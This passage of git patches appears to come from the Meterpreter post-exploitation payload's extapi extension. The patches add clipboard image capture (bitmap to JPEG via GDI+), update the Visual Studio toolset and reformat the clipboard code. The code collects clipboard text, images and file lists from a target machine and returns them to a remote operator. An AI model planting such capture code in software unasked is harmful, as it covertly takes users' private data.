GlobalAlloc function pointer type. */ @@ -54,7 +55,8 @@ typedef BOOL (WINAPI * PGETFILESIZEEX)( HANDLE hFile, PLARGE_INTEGER lpFileSize /*! * @brief Handle the request to get the data from the clipboard. * @details This function currently only supports the following clipboard data formats: - * - CF_TEXT - raw text data. + * - CF_TEXT - raw text data. + * - CF_DIB - bitmap/image information. * - CF_HDROP - file selection. * * Over time more formats will be supported. @@ -93,6 +95,8 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) CHAR lpFileName[MAX_PATH]; Tlv entries[2] = {0}; LARGE_INTEGER largeInt = {0}; + LPBITMAPINFO lpBI = NULL; + ConvertedImage image; Packet *pResponse = packet_create_response( packet ); @@ -152,6 +156,28 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) pGlobalUnlock( hClipboardData ); } } + else if( uFormat == CF_DIB ) { + // an image of some kind is on the clipboard + dprintf( "Grabbing the clipboard bitmap data" ); + if ( (hClipboardData = pGetClipboardData( CF_DIB ) ) != NULL + && (lpBI = (LPBITMAPINFO)pGlobalLock( hClipboardData )) != NULL ) { + + if( convert_to_jpg( lpBI, (LPVOID)(lpBI + 1), 80, &image ) == ERROR_SUCCESS ) { + + dprintf( "Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize ); + packet_add_tlv_raw( pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_JPG, image.pImageBuffer, image.dwImageBufferSize ); + + // Just leaving this in for debugging purposes later on + //hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + //WriteFile(hSourceFile, image.pImageBuffer, image.dwImageBufferSize, &largeInt.LowPart, NULL); + //CloseHandle(hSourceFile); + + free( image.pImageBuffer ); + } + + pGlobalUnlock( hClipboardData ); + } + } else if( uFormat == CF_HDROP ) { // there's one or more files on the clipboard dprintf( "Files have been located on the clipboard" ); diff --git a/source/extensions/extapi/clipboard_image.cpp b/source/extensions/extapi/clipboard_image.cpp new file mode 100644 index 0000000..af333c0 --- /dev/null +++ b/source/extensions/extapi/clipboard_image.cpp @@ -0,0 +1,160 @@ +/*! + * @file clipboard_image.cpp + * @brief Definitions for clipboard image handling functionality + * @remark This is a C++ file because it uses GDI+ behind the scenes. This is because it's super + * easy to do image encoding and prevents us from having to include the massive JPG lib. + * It's not late-bound using LoadLibrary due to the fact that doing that with C++ stuff + * is nothing short of painful. + */ +extern "C" { +#include "extapi.h" +#include "clipboard_image.h" +} +#include + +/*! + * @brief Get the Class ID of an encoder which supports encoding to the specified MIME type. + * @param mimeType The wide-string formatting MIME type identifier. + * @param pClsId Pointer to the \c CLSID structure that will receive the Class ID. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS The Class ID was extracted successfully. + * @retval Otherwise The relevant error code. + */ +DWORD get_encoder_clsid( WCHAR *mimeType, CLSID * pClsId ) +{ + using namespace Gdiplus; + + DWORD dwResult = ERROR_SUCCESS; + ImageCodecInfo* pImageCodecInfo = NULL; + + do + { + UINT numEncoders; + UINT size; + if( GetImageEncodersSize( &numEncoders, &size ) != Ok ) + BREAK_WITH_ERROR( "Unable to get encoders array size.", ERROR_FUNCTION_FAILED ); + + if( size == 0 ) + BREAK_WITH_ERROR( "No encoders found.", ERROR_FUNCTION_FAILED ); + + if( (pImageCodecInfo = (ImageCodecInfo*)malloc( size )) == NULL ) + BREAK_WITH_ERROR( "Couldn't allocate memory for ImageCodeInfo", ERROR_OUTOFMEMORY ); + + if( GetImageEncoders( numEncoders, size, pImageCodecInfo ) != Ok ) + BREAK_WITH_ERROR( "Unable to get encoders.", ERROR_FUNCTION_FAILED ); + + for( UINT i = 0; i < numEncoders; ++i ) { + if( wcscmp( pImageCodecInfo[i].MimeType, mimeType ) == 0 ) { + // Image encoder for the MIME type found, so copy the Class ID... + memcpy_s( pClsId, sizeof( CLSID ), &pImageCodecInfo[i].Clsid, sizeof( CLSID ) ); + + // .. and finish up. + break; + } + } + } while(0); + + if( pImageCodecInfo != NULL ) + free( pImageCodecInfo ); + + return dwResult; +} + +extern "C" { + +/*! + * @brief Convert the given bitmap data into a JPEG image of the specified quality. + * @param lpBI Pointer to the \cBITMAPINFO structure that contains the detail of the bitmap. + * In the case of the clipboard, this is the CF_DIB data. + * @param lpDIB Pointer to the DIB bytes that make up the image data. + * @param ulQuality Quality of the resulting JPG image. + * @param pImage Pointer to the image structure that will receive the image data + * @retval ERROR_SUCCESS The Class ID was extracted successfully. + * @retval Otherwise The relevant error code. + */ +DWORD convert_to_jpg( const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQuality, ConvertedImage* pImage ) +{ + using namespace Gdiplus; + + HRESULT hRes = S_OK; + DWORD dwResult = ERROR_SUCCESS; + ULONG_PTR gdiPlusToken = 0; + Bitmap* pBitmap = NULL; + GdiplusStartupInput gdiStartupInput; + IStream* pStream = NULL; + + // set this to NULL up front so that we can keep track of allocations; + pImage->pImageBuffer = NULL; + pImage->dwImageBufferSize = 0; + + do + { + if( GdiplusStartup( &gdiPlusToken, &gdiStartupInput, NULL ) != Ok ) + BREAK_WITH_ERROR( "Unable to initialize GdiPlus", ERROR_FUNCTION_FAILED ); + + CLSID jpegClsid; + dprintf( "Attempting to get the jpg class id" ); + if( get_encoder_clsid( L"image/jpeg", &jpegClsid ) != ERROR_SUCCESS ) + BREAK_WITH_ERROR( "Unable to find an appropriate image encoder", ERROR_FUNCTION_FAILED ); + + if( (pBitmap = new Bitmap( lpBI, lpDIB ) ) == NULL ) + BREAK_WITH_ERROR( "Failed to create bitmap instance", ERROR_FUNCTION_FAILED ); + + EncoderParameters encParams; + encParams.Count = 1; + encParams.Parameter[0].NumberOfValues = 1; + encParams.Parameter[0].Guid = EncoderQuality; + encParams.Parameter[0].Type = EncoderParameterValueTypeLong; + encParams.Parameter[0].Value = &ulQuality; + + if( CreateStreamOnHGlobal( NULL, TRUE, &pStream ) != S_OK ) + BREAK_WITH_ERROR( "Failed to create stream", ERROR_FUNCTION_FAILED ); + + if( pBitmap->Save( pStream, &jpegClsid, &encParams ) != Ok ) + BREAK_WITH_ERROR( "Failed to save image to stream", ERROR_FUNCTION_FAILED ); + + STATSTG stat; + if( pStream->Stat( &stat, STATFLAG_NONAME ) != S_OK ) + BREAK_WITH_ERROR( "Failed to get image stat", ERROR_FUNCTION_FAILED ); + + // if the image requires the quadpart, then we're in trouble anyway! + pImage->dwImageBufferSize = stat.cbSize.LowPart; + if( (pImage->pImageBuffer = (LPBYTE)malloc( pImage->dwImageBufferSize ) ) == NULL ) + BREAK_WITH_ERROR( "Failed to allocate memory for the JPEG", ERROR_OUTOFMEMORY ); + + ULARGE_INTEGER pos; + LARGE_INTEGER zero; + zero.QuadPart = 0; + pos.QuadPart = 0; + if( pStream->Seek( zero, STREAM_SEEK_SET, &pos ) != S_OK ) + BREAK_WITH_ERROR( "Failed set stream position", ERROR_FUNCTION_FAILED ); + + ULONG bytesRead = 0; + if( (hRes = pStream->Read( pImage->pImageBuffer, pImage->dwImageBufferSize, &bytesRead ) != S_OK) ) { + dprintf( "Failed to read image data from stream: %u %x", hRes, hRes ); + dwResult = ERROR_FUNCTION_FAILED; + break; + } + + if( bytesRead != pImage->dwImageBufferSize ) + BREAK_WITH_ERROR( "Failed to read image data from stream", ERROR_FUNCTION_FAILED ); + } while(0); + + if( dwResult != ERROR_SUCCESS && pImage->pImageBuffer != NULL ) { + free( pImage->pImageBuffer ); + pImage->pImageBuffer = NULL; + } + + if( pStream != NULL ) + pStream->Release(); + + if( pBitmap != NULL ) + delete pBitmap; + + if( gdiPlusToken != 0 ) + GdiplusShutdown( gdiPlusToken ); + + return dwResult; +} + +} \ No newline at end of file diff --git a/source/extensions/extapi/clipboard_image.h b/source/extensions/extapi/clipboard_image.h new file mode 100644 index 0000000..fe098b8 --- /dev/null +++ b/source/extensions/extapi/clipboard_image.h @@ -0,0 +1,22 @@ +/*! + * @file clipboard_image.h + * @brief Declarations for clipboard image handling functionality + */ +#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_IMAGE_H +#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_IMAGE_H + +typedef struct _ConvertedImage +{ + /*! + * @brief Pointer to a pointer which will receive the JPEG image data buffer. + * This value is allocated using \c malloc prior to returning. If after + * calling this function the value is non-NULL the caller must call + * \c free to release this memory. + */ + PBYTE pImageBuffer; + DWORD dwImageBufferSize; +} ConvertedImage; + +DWORD convert_to_jpg( const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQuality, ConvertedImage* pImage ); + +#endif diff --git a/source/extensions/extapi/extapi.h b/source/extensions/extapi/extapi.h index 7d1f206..986943e 100644 --- a/source/extensions/extapi/extapi.h +++ b/source/extensions/extapi/extapi.h @@ -34,5 +34,6 @@ #define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 41) #define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 42) #define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 43) +#define TLV_TYPE_EXT_CLIPBOARD_TYPE_JPG MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 44) #endif diff --git a/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/workspace/ext_server_extapi/ext_server_extapi.vcxproj index 61f9ffe..1bda39b 100644 --- a/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -140,7 +140,7 @@ Level3 - backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) metsrv.dll;%(DelayLoadDLLs) true @@ -168,7 +168,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho Level3 - backcompat.lib;Netapi32.lib;ws2_32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) metsrv.dll;%(DelayLoadDLLs) true @@ -200,7 +200,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho ..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories) - backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -233,7 +233,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho ..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories) - backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -271,7 +271,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho Size - backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -322,7 +322,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho Size - backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -375,7 +375,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho false - backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) metsrv.dll;%(DelayLoadDLLs) false @@ -426,7 +426,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho false - backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) metsrv.dll;%(DelayLoadDLLs) false @@ -456,12 +456,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho + + @@ -488,4 +490,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho - \ No newline at end of file + From f4762bf0757b0352793c1fafacdc1003a0f668b1 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 29 Oct 2013 20:07:10 +1000 Subject: [PATCH 10/20] Update to VS2013 This brings things up to date with the VS2013 main line. --- .../ext_server_extapi/ext_server_extapi.vcxproj | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/workspace/ext_server_extapi/ext_server_extapi.vcxproj index 1bda39b..4b1c159 100644 --- a/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -44,45 +44,45 @@ DynamicLibrary MultiByte false - v110_xp + v120_xp DynamicLibrary MultiByte false - v110_xp + v120_xp DynamicLibrary Unicode - v110_xp + v120_xp DynamicLibrary Unicode - v110_xp + v120_xp DynamicLibrary MultiByte false - v110_xp + v120_xp DynamicLibrary MultiByte false - v110_xp + v120_xp DynamicLibrary Unicode - v110_xp + v120_xp DynamicLibrary Unicode - v110_xp + v120_xp From 15977fc88f8a084358bccd00608836eeaf91be27 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 29 Oct 2013 20:31:28 +1000 Subject: [PATCH 11/20] Adjust format to fit with default VS 2013 rules VS 2013 appears to have built-in formatting for C++, so this commit tidies up the code a bit to fit within those rules. It also removes a few warnings which the new compiler has shown. --- source/extensions/extapi/clipboard.c | 323 ++++++++--------- source/extensions/extapi/clipboard.h | 4 +- source/extensions/extapi/clipboard_image.cpp | 101 +++--- source/extensions/extapi/clipboard_image.h | 10 +- source/extensions/extapi/extapi.c | 35 +- source/extensions/extapi/service.c | 358 ++++++++++--------- source/extensions/extapi/window.c | 149 ++++---- 7 files changed, 482 insertions(+), 498 deletions(-) diff --git a/source/extensions/extapi/clipboard.c b/source/extensions/extapi/clipboard.c index d78edce..96a4922 100644 --- a/source/extensions/extapi/clipboard.c +++ b/source/extensions/extapi/clipboard.c @@ -8,47 +8,47 @@ #ifdef _WIN32 /*! @brief GlobalAlloc function pointer type. */ -typedef HGLOBAL (WINAPI * PGLOBALALLOC)( UINT uFlags, SIZE_T dwBytes ); +typedef HGLOBAL(WINAPI * PGLOBALALLOC)(UINT uFlags, SIZE_T dwBytes); /*! @brief GlobalFree function pointer type. */ -typedef HGLOBAL (WINAPI * PGLOBALFREE)( HGLOBAL hMem ); +typedef HGLOBAL(WINAPI * PGLOBALFREE)(HGLOBAL hMem); /*! @brief GlobalLock function pointer type. */ -typedef LPVOID (WINAPI * PGLOBALLOCK)( HGLOBAL hMem ); +typedef LPVOID(WINAPI * PGLOBALLOCK)(HGLOBAL hMem); /*! @brief GlobalUnlock function pointer type. */ -typedef LPVOID (WINAPI * PGLOBALUNLOCK)( HGLOBAL hMem ); +typedef LPVOID(WINAPI * PGLOBALUNLOCK)(HGLOBAL hMem); /*! @brief OpenClipboard function pointer type. */ -typedef BOOL (WINAPI * POPENCLIPBOARD)( HWND hWndNewOwner ); +typedef BOOL(WINAPI * POPENCLIPBOARD)(HWND hWndNewOwner); /*! @brief CloseClipboard function pointer type. */ -typedef BOOL (WINAPI * PCLOSECLIPBOARD)(); +typedef BOOL(WINAPI * PCLOSECLIPBOARD)(); /*! @brief SetClipboardData function pointer type. */ -typedef HANDLE (WINAPI * PSETCLIPBOARDDATA)( UINT uFormat, HANDLE hMem ); +typedef HANDLE(WINAPI * PSETCLIPBOARDDATA)(UINT uFormat, HANDLE hMem); /*! @brief SetClipboardData function pointer type. */ -typedef HANDLE (WINAPI * PGETCLIPBOARDDATA)( UINT uFormat ); +typedef HANDLE(WINAPI * PGETCLIPBOARDDATA)(UINT uFormat); /*! @brief EnumClipboardFormats function pointer type. */ -typedef UINT (WINAPI * PENUMCLIPBOARDFORMATS)( UINT uFormat ); +typedef UINT(WINAPI * PENUMCLIPBOARDFORMATS)(UINT uFormat); /*! @brief EmptyClipboard function pointer type. */ -typedef BOOL (WINAPI * PEMPTYCLIPBOARD)(); +typedef BOOL(WINAPI * PEMPTYCLIPBOARD)(); /*! @brief DragQueryFileA function pointer type. */ -typedef BOOL (WINAPI * PDRAGQUERYFILEA)( HDROP hDrop, UINT iFile, LPSTR lpszFile, UINT cch ); +typedef BOOL(WINAPI * PDRAGQUERYFILEA)(HDROP hDrop, UINT iFile, LPSTR lpszFile, UINT cch); /*! @brief CreateFileA function pointer type. */ -typedef HANDLE (WINAPI * PCREATEFILEA)( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, - DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); +typedef HANDLE(WINAPI * PCREATEFILEA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, + DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); /*! @brief CloseHandle function pointer type. */ -typedef BOOL (WINAPI * PCLOSEHANDLE)( HANDLE hObject ); +typedef BOOL(WINAPI * PCLOSEHANDLE)(HANDLE hObject); /*! @brief GetFileSizeEx function pointer type. */ -typedef BOOL (WINAPI * PGETFILESIZEEX)( HANDLE hFile, PLARGE_INTEGER lpFileSize ); +typedef BOOL(WINAPI * PGETFILESIZEEX)(HANDLE hFile, PLARGE_INTEGER lpFileSize); #endif @@ -65,7 +65,7 @@ typedef BOOL (WINAPI * PGETFILESIZEEX)( HANDLE hFile, PLARGE_INTEGER lpFileSize * @return Indication of success or failure. * @todo Add support for more data formats. */ -DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) +DWORD request_clipboard_get_data(Remote *remote, Packet *packet) { #ifdef _WIN32 DWORD dwResult; @@ -93,155 +93,155 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) UINT uFileIndex = 0; UINT uFileCount = 0; CHAR lpFileName[MAX_PATH]; - Tlv entries[2] = {0}; - LARGE_INTEGER largeInt = {0}; + Tlv entries[2] = { 0 }; + LARGE_INTEGER largeInt = { 0 }; LPBITMAPINFO lpBI = NULL; ConvertedImage image; - Packet *pResponse = packet_create_response( packet ); + Packet *pResponse = packet_create_response(packet); do { - dprintf( "Loading user32.dll" ); - if( (hUser32 = LoadLibraryA( "user32.dll" )) == NULL) - BREAK_ON_ERROR( "Unable to load user32.dll" ); + dprintf("Loading user32.dll"); + if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) + BREAK_ON_ERROR("Unable to load user32.dll"); - dprintf( "Loading kernel32.dll" ); - if( (hKernel32 = LoadLibraryA( "kernel32.dll" )) == NULL) - BREAK_ON_ERROR( "Unable to load kernel32.dll" ); + dprintf("Loading kernel32.dll"); + if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL) + BREAK_ON_ERROR("Unable to load kernel32.dll"); - dprintf( "Searching for GlobalLock" ); - if( (pGlobalLock = (PGLOBALLOCK)GetProcAddress( hKernel32, "GlobalLock" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate GlobalLock in kernel32.dll" ); + dprintf("Searching for GlobalLock"); + if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL) + BREAK_ON_ERROR("Unable to locate GlobalLock in kernel32.dll"); - dprintf( "Searching for GlobalUnlock" ); - if( (pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress( hKernel32, "GlobalUnlock" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate GlobalUnlock in kernel32.dll" ); + dprintf("Searching for GlobalUnlock"); + if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL) + BREAK_ON_ERROR("Unable to locate GlobalUnlock in kernel32.dll"); - dprintf( "Searching for OpenClipboard" ); - if( (pOpenClipboard = (POPENCLIPBOARD)GetProcAddress( hUser32, "OpenClipboard" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate OpenClipboard in user32.dll" ); + dprintf("Searching for OpenClipboard"); + if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL) + BREAK_ON_ERROR("Unable to locate OpenClipboard in user32.dll"); - dprintf( "Searching for CloseClipboard" ); - if( (pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress( hUser32, "CloseClipboard" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate CloseClipboard in user32.dll" ); + dprintf("Searching for CloseClipboard"); + if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL) + BREAK_ON_ERROR("Unable to locate CloseClipboard in user32.dll"); - dprintf( "Searching for GetClipboardData" ); - if( (pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress( hUser32, "GetClipboardData" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate GetClipboardData in user32.dll" ); + dprintf("Searching for GetClipboardData"); + if ((pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress(hUser32, "GetClipboardData")) == NULL) + BREAK_ON_ERROR("Unable to locate GetClipboardData in user32.dll"); - dprintf( "Searching for EnumClipboardFormats" ); - if( (pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress( hUser32, "EnumClipboardFormats" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate EnumClipboardFormats in user32.dll" ); + dprintf("Searching for EnumClipboardFormats"); + if ((pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress(hUser32, "EnumClipboardFormats")) == NULL) + BREAK_ON_ERROR("Unable to locate EnumClipboardFormats in user32.dll"); // Try to get a lock on the clipboard - if( !pOpenClipboard( NULL ) ) { + if (!pOpenClipboard(NULL)) { dwResult = GetLastError(); - BREAK_WITH_ERROR( "Unable to open the clipboard", dwResult ); + BREAK_WITH_ERROR("Unable to open the clipboard", dwResult); } - dprintf( "Clipboard locked, attempting to get data..." ); + dprintf("Clipboard locked, attempting to get data..."); - while ( uFormat = pEnumClipboardFormats( uFormat ) ) + while (uFormat = pEnumClipboardFormats(uFormat)) { - if( uFormat == CF_TEXT ) { + if (uFormat == CF_TEXT) { // there's raw text on the clipboard - if ( (hClipboardData = pGetClipboardData( CF_TEXT ) ) != NULL - && (lpClipString = (PCHAR)pGlobalLock( hClipboardData )) != NULL ) { + if ((hClipboardData = pGetClipboardData(CF_TEXT)) != NULL + && (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL) { - dprintf( "Clipboard text captured: %s", lpClipString ); - packet_add_tlv_string( pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString ); + dprintf("Clipboard text captured: %s", lpClipString); + packet_add_tlv_string(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString); - pGlobalUnlock( hClipboardData ); + pGlobalUnlock(hClipboardData); } } - else if( uFormat == CF_DIB ) { + else if (uFormat == CF_DIB) { // an image of some kind is on the clipboard - dprintf( "Grabbing the clipboard bitmap data" ); - if ( (hClipboardData = pGetClipboardData( CF_DIB ) ) != NULL - && (lpBI = (LPBITMAPINFO)pGlobalLock( hClipboardData )) != NULL ) { + dprintf("Grabbing the clipboard bitmap data"); + if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL + && (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL) { - if( convert_to_jpg( lpBI, (LPVOID)(lpBI + 1), 80, &image ) == ERROR_SUCCESS ) { + if (convert_to_jpg(lpBI, (LPVOID)(lpBI + 1), 80, &image) == ERROR_SUCCESS) { - dprintf( "Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize ); - packet_add_tlv_raw( pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_JPG, image.pImageBuffer, image.dwImageBufferSize ); + dprintf("Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize); + packet_add_tlv_raw(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_JPG, image.pImageBuffer, image.dwImageBufferSize); // Just leaving this in for debugging purposes later on //hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //WriteFile(hSourceFile, image.pImageBuffer, image.dwImageBufferSize, &largeInt.LowPart, NULL); //CloseHandle(hSourceFile); - free( image.pImageBuffer ); + free(image.pImageBuffer); } - pGlobalUnlock( hClipboardData ); + pGlobalUnlock(hClipboardData); } } - else if( uFormat == CF_HDROP ) { + else if (uFormat == CF_HDROP) { // there's one or more files on the clipboard - dprintf( "Files have been located on the clipboard" ); + dprintf("Files have been located on the clipboard"); do { - dprintf( "Loading shell32.dll" ); - if( (hShell32 = LoadLibraryA( "shell32.dll" )) == NULL) - BREAK_ON_ERROR( "Unable to load shell32.dll" ); + dprintf("Loading shell32.dll"); + if ((hShell32 = LoadLibraryA("shell32.dll")) == NULL) + BREAK_ON_ERROR("Unable to load shell32.dll"); - dprintf( "Searching for CreateFileA" ); - if( (pCreateFileA = (PCREATEFILEA)GetProcAddress( hKernel32, "CreateFileA" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate CreateFileA in kernel32.dll" ); + dprintf("Searching for CreateFileA"); + if ((pCreateFileA = (PCREATEFILEA)GetProcAddress(hKernel32, "CreateFileA")) == NULL) + BREAK_ON_ERROR("Unable to locate CreateFileA in kernel32.dll"); - dprintf( "Searching for CloseHandle" ); - if( (pCloseHandle = (PCLOSEHANDLE)GetProcAddress( hKernel32, "CloseHandle" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate CloseHandle in kernel32.dll" ); + dprintf("Searching for CloseHandle"); + if ((pCloseHandle = (PCLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle")) == NULL) + BREAK_ON_ERROR("Unable to locate CloseHandle in kernel32.dll"); - dprintf( "Searching for GetFileSizeEx" ); - if( (pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress( hKernel32, "GetFileSizeEx" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate GetFileSizeEx in kernel32.dll" ); + dprintf("Searching for GetFileSizeEx"); + if ((pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress(hKernel32, "GetFileSizeEx")) == NULL) + BREAK_ON_ERROR("Unable to locate GetFileSizeEx in kernel32.dll"); - dprintf( "Searching for DragQueryFileA" ); - if( (pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress( hShell32, "DragQueryFileA" )) == NULL ) - BREAK_ON_ERROR( "Unable to locate CloseClipboard in shell32.dll" ); + dprintf("Searching for DragQueryFileA"); + if ((pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress(hShell32, "DragQueryFileA")) == NULL) + BREAK_ON_ERROR("Unable to locate CloseClipboard in shell32.dll"); - dprintf( "Grabbing the clipboard file drop data" ); - if ( (hClipboardData = pGetClipboardData( CF_HDROP ) ) != NULL - && (hFileDrop = 